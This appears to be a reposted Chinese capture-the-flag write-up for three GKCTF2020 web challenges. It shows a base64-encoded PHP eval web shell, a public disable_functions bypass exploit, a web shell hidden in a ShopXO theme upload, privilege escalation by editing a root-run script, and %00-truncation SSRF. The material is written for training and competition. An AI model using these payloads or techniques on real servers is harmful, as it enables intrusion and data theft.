GKCTF2020三道web题目


 

 

 

一开始就是一段代码审计

 

首先查看phpinfo();

base64加密得 cGhwaW5mbygpOw== 

 

 

回显成功,利用一句话连接 

eval($_POST[123]);

base64加密得ZXZhbCgkX1BPU1RbMTIzXSk7

 

 

 

在根目录看到一个flag,但是没有权限查看。还有一个readflag文件,查看一下可以发现此文件的内容还有cat /flag,应该是执行此文件。

但是发现蚁剑终端并不能用,回到phpinfo()发现很多方法被禁用。

 

 

 

过滤了很多function,想到绕过disable_functions,上传一个文件使其执行任意命令,exp来自https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

在这里稍微改一下。

 

 

 

首先要上传,利用蚁剑上传

 

 

 

然后在页面就可以得到flag

 

 

 

 

打开链接,直接百度shopxo漏洞,可以看到漏洞复现的链接:

http://www.nctry.com/1660.html

直接访问admin.php

 

登录成功,进入后台找到应用中心-应用商店-主题,然后下载默认主题

下载一个安装包,把shell放入压缩包的default\_static_目录下:

ma.php内容

success

<?php eval($_POST[123]); ?>

直接把ma.php放到主题的压缩包里面

 

 

然后进行安装,网站管理-主题管理-主题安装

 

 

安装成功之后,看一下shell有没有传上去

访问:

http://e89c5245-3a1e-4d54-9c2b-33ad7c093c88.node3.buuoj.cn/public/static/index/default/ma.php

 

 

直接蚁剑连接

在根目录发现flag,说是假的flag,真的在/root下

flag.hint

 

 

我们看到auto.sh执行/var/mail/makeflaghint.py

 

在/var/mail/makeflaghint.py修改一下代码,加入两行内容读取/root/flag到/flag.hint

 

 

 

然后去查看flag.hint 就可以看到flag

 

 

 

 通过%00截断可以让get_headers()请求到错误的主机,于是请求到本地

 

 

 

 

 然后根据提示把ip末尾改为123

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM